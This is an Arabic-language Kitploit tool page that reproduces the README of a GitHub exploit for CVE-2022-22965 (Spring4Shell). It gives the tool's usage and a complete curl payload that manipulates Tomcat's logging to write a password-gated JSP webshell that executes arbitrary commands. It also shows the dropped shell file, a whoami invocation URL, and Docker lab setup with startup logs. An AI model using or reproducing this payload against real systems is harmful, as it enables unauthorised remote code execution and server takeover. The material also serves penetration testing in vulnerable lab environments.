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spring-core-rce — CVE-2022-22965 : حول spring core rce | Kitploit
أدوات/GitHubGitHub/mr-xn/spring-core-rce
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمر
GitHubmr-xn/spring-core-rce

spring-core-rce

CVE-2022-22965 : حول spring core rce

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مشاركة

CVE-2022-22965: Spring-Core-Rce

EXP

الميزات:

  1. اكتشاف الثغرة (بدون كتابة webshell، إخراج سلسلة نصية بسيطة)
  2. تخصيص اسم ومسار ملف الـ webshell المكتوب
  3. لن تتم الكتابة بالإضافة إلى نفس الملف، حيث تتم الكتابة في كل فحص إلى ملف webshell باسم مختلف
  4. يدعم كتابة webshell الخاص بـ Behinder
  5. دعم البروكسي، يمكنك تعيين بروكسي مخصص، مثل: http://127.0.0.1:8080

الاستخدام:

root@kitploit:~
$ python3 exp.py -h
usage: exp.py [-h] --url URL --type TYPE [--directory DIRECTORY] [--filename FILENAME]
              [--proxy PROXY]

Srping Core Rce.

optional arguments:
  -h, --help            show this help message and exit
  --url URL             target url,eg: http://127.0.0.1:8082/helloworld/greeting
  --type TYPE           1 vuln test 2.Behinder shell
  --directory DIRECTORY
                        shell directory,eg: webapps/ROOT(Notice: if the path not exists will creat!)
  --filename FILENAME   shell name
  --proxy PROXY         set request proxy,eg: http://127.0.0.1:8080

مثال:

root@kitploit:~
$ python3 exp.py --url http://127.0.0.1:8082/helloworld/greeting --type 1 --proxy http://127.0.0.1:8080
[*] waiting for 10s...
[+] inject success, vulnerable!
[+] test at: http://127.0.0.1:8082/inject30297.jsp
[*] Response:
challenge
<!--

POC

كتابة webshell مباشرة

root@kitploit:~
curl -v -H "c1: runtime" -H "c2: <%" -H "suffix: %>//" -d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" http://target:8080/path

يتم حفظ الملف على القرص:

root@kitploit:~
cat ./apache-tomcat-8.5.77/webapps/ROOT/tomcatwar.jsp 
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))3D-1){ out.println(new String(b)); } } -

shell: target/tomcatwar.jsp?pwd=j&cmd=whoami

إعداد البيئة

باستخدام vulfocus

ملف ROOT.war مصدره صورة vulfocus الخاصة بـ Baimaohui، يمكنك وضعه مباشرة في بيئة Tomcat مع JDK9+ ونشره لبدء الاختبار.

يمكنك أيضاً استخدام docker pull بنفسك:

root@kitploit:~
docker run -d -p 8082:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29

ثم قم بزيارة المنفذ المحلي 8082، وإذا ظهرت لك رسالة OK فهذا يعني أن التشغيل نجح.

باستخدام Spring4Shell-POC

استنسخ https://github.com/lunasec-io/Spring4Shell-POC ثم ادخل إلى Spring4Shell-POC ونفّذ docker build والتشغيل:

root@kitploit:~
docker build -f Dockerfile . -t spring4shell && docker run -p 8082:8080 spring4shell

[+] Building 1.4s (12/12) FINISHED                                                                    
 => [internal] load build definition from Dockerfile                                             0.0s
 => => transferring dockerfile: 37B                                                              0.0s
 => [internal] load .dockerignore                                                                0.0s
 => => transferring context: 2B                                                                  0.0s
 => [internal] load metadata for docker.io/library/tomcat:9.0                                    1.3s
 => [internal] load build context                                                                0.0s
 => => transferring context: 965B                                                                0.0s
 => [1/7] FROM docker.io/library/tomcat:9.0@sha256:9920e45babbbda16cc0f7b939349e1443cc6e0922272  0.0s
 => CACHED [2/7] ADD src/ /helloworld/src                                                        0.0s
 => CACHED [3/7] ADD pom.xml /helloworld                                                         0.0s
 => CACHED [4/7] RUN apt update && apt install maven -y                                          0.0s
 => CACHED [5/7] WORKDIR /helloworld/                                                            0.0s
 => CACHED [6/7] RUN mvn clean package                                                           0.0s
 => CACHED [7/7] RUN mv target/helloworld.war /usr/local/tomcat/webapps/                         0.0s
 => exporting to image                                                                           0.0s
 => => exporting layers                                                                          0.0s
 => => writing image sha256:7b1b653307234587dde30fa2f26b2f3211b2bc8bdb38b4b43f2c321ddda1ee25     0.0s
 => => naming to docker.io/library/spring4shell                                                  0.0s

Use 'docker scan' to run Snyk tests against images to find vulnerabilities and learn how to fix them
NOTE: Picked up JDK_JAVA_OPTIONS:  --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED
01-Apr-2022 15:11:43.950 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Server version name:   Apache Tomcat/9.0.60
01-Apr-2022 15:11:43.956 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Server built:          Mar 9 2022 14:52:25 UTC
01-Apr-2022 15:11:43.956 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Server version number: 9.0.60.0
01-Apr-2022 15:11:43.956 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log OS Name:               Linux
01-Apr-2022 15:11:43.956 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log OS Version:            5.10.76-linuxkit
01-Apr-2022 15:11:43.957 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Architecture:          amd64
01-Apr-2022 15:11:43.957 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Java Home:             /usr/local/openjdk-11
01-Apr-2022 15:11:43.957 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log JVM Version:           11.0.14.1+1
01-Apr-2022 15:11:43.957 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log JVM Vendor:            Oracle Corporation
01-Apr-2022 15:11:43.957 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log CATALINA_BASE:         /usr/local/tomcat
01-Apr-2022 15:11:43.957 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log CATALINA_HOME:         /usr/local/tomcat
01-Apr-2022 15:11:43.970 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: --add-opens=java.base/java.lang=ALL-UNNAMED
01-Apr-2022 15:11:43.970 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: --add-opens=java.base/java.io=ALL-UNNAMED
01-Apr-2022 15:11:43.971 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: --add-opens=java.base/java.util=ALL-UNNAMED
01-Apr-2022 15:11:43.971 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: --add-opens=java.base/java.util.concurrent=ALL-UNNAMED
01-Apr-2022 15:11:43.971 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED
01-Apr-2022 15:11:43.971 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djava.util.logging.config.file=/usr/local/tomcat/conf/logging.properties
01-Apr-2022 15:11:43.972 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager
01-Apr-2022 15:11:43.972 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djdk.tls.ephemeralDHKeySize=2048
01-Apr-2022 15:11:43.972 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djava.protocol.handler.pkgs=org.apache.catalina.webresources
01-Apr-2022 15:11:43.972 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Dorg.apache.catalina.security.SecurityListener.UMASK=0027
01-Apr-2022 15:11:43.973 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Dignore.endorsed.dirs=
01-Apr-2022 15:11:43.973 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Dcatalina.base=/usr/local/tomcat
01-Apr-2022 15:11:43.973 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Dcatalina.home=/usr/local/tomcat
01-Apr-2022 15:11:43.973 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djava.io.tmpdir=/usr/local/tomcat/temp
01-Apr-2022 15:11:43.977 INFO [main] org.apache.catalina.core.AprLifecycleListener.lifecycleEvent Loaded Apache Tomcat Native library [1.2.31] using APR version [1.7.0].
01-Apr-2022 15:11:43.977 INFO [main] org.apache.catalina.core.AprLifecycleListener.lifecycleEvent APR capabilities: IPv6 [true], sendfile [true], accept filters [false], random [true], UDS [true].
01-Apr-2022 15:11:43.977 INFO [main] org.apache.catalina.core.AprLifecycleListener.lifecycleEvent APR/OpenSSL configuration: useAprConnector [false], useOpenSSL [true]
01-Apr-2022 15:11:43.980 INFO [main] org.apache.catalina.core.AprLifecycleListener.initializeSSL OpenSSL successfully initialized [OpenSSL 1.1.1n  15 Mar 2022]
01-Apr-2022 15:11:44.251 INFO [main] org.apache.coyote.AbstractProtocol.init Initializing ProtocolHandler ["http-nio-8080"]
01-Apr-2022 15:11:44.271 INFO [main] org.apache.catalina.startup.Catalina.load Server initialization in [511] milliseconds
01-Apr-2022 15:11:44.313 INFO [main] org.apache.catalina.core.StandardService.startInternal Starting service [Catalina]
01-Apr-2022 15:11:44.313 INFO [main] org.apache.catalina.core.StandardEngine.startInternal Starting Servlet engine: [Apache Tomcat/9.0.60]
01-Apr-2022 15:11:44.329 INFO [main] org.apache.catalina.startup.HostConfig.deployWAR Deploying web application archive [/usr/local/tomcat/webapps/helloworld.war]
01-Apr-2022 15:11:45.358 INFO [main] org.apache.jasper.servlet.TldScanner.scanJars At least one JAR was scanned for TLDs yet contained no TLDs. Enable debug logging for this logger for a complete list of JARs that were scanned but no TLDs were found in them. Skipping unneeded JARs during scanning can improve startup time and JSP compilation time.

  .   ____          _            __ _ _
 /\\ / ___'_ __ _ _(_)_ __  __ _ \ \ \ \
( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
 \\/  ___)| |_)| | | | | || (_| |  ) ) ) )
  '  |____| .__|_| |_|_| |_\__, | / / / /
 =========|_|==============|___/=/_/_/_/
 :: Spring Boot ::                (v2.6.3)

2022-04-01 15:11:45.952  INFO 1 --- [           main] c.r.helloworld.HelloworldApplication     : Starting HelloworldApplication v0.0.1-SNAPSHOT using Java 11.0.14.1 on 00bf66f10525 with PID 1 (/usr/local/tomcat/webapps/helloworld/WEB-INF/classes started by root in /helloworld)
2022-04-01 15:11:45.956  INFO 1 --- [           main] c.r.helloworld.HelloworldApplication     : No active profile set, falling back to default profiles: default
2022-04-01 15:11:46.614  INFO 1 --- [           main] w.s.c.ServletWebServerApplicationContext : Root WebApplicationContext: initialization completed in 638 ms
2022-04-01 15:11:47.137  INFO 1 --- [           main] c.r.helloworld.HelloworldApplication     : Started HelloworldApplication in 1.618 seconds (JVM running for 3.594)
01-Apr-2022 15:11:47.157 INFO [main] org.apache.catalina.startup.HostConfig.deployWAR Deployment of web application archive [/usr/local/tomcat/webapps/helloworld.war] has finished in [2,828] ms
01-Apr-2022 15:11:47.169 INFO [main] org.apache.coyote.AbstractProtocol.start Starting ProtocolHandler ["http-nio-8080"]
01-Apr-2022 15:11:47.179 INFO [main] org.apache.catalina.startup.Catalina.start Server startup in [2908] milliseconds

ثم قم بزيارة http://127.0.0.1:8082/helloworld/greeting

image

المراجع:

  • https://github.com/jbaines-r7/spring4shell_vulnapp
  • https://github.com/liangyueliangyue/spring-core-rce
  • https://github.com/lunasec-io/Spring4Shell-POC
  • https://www.t00ls.cc/thread-65239-1-1.html
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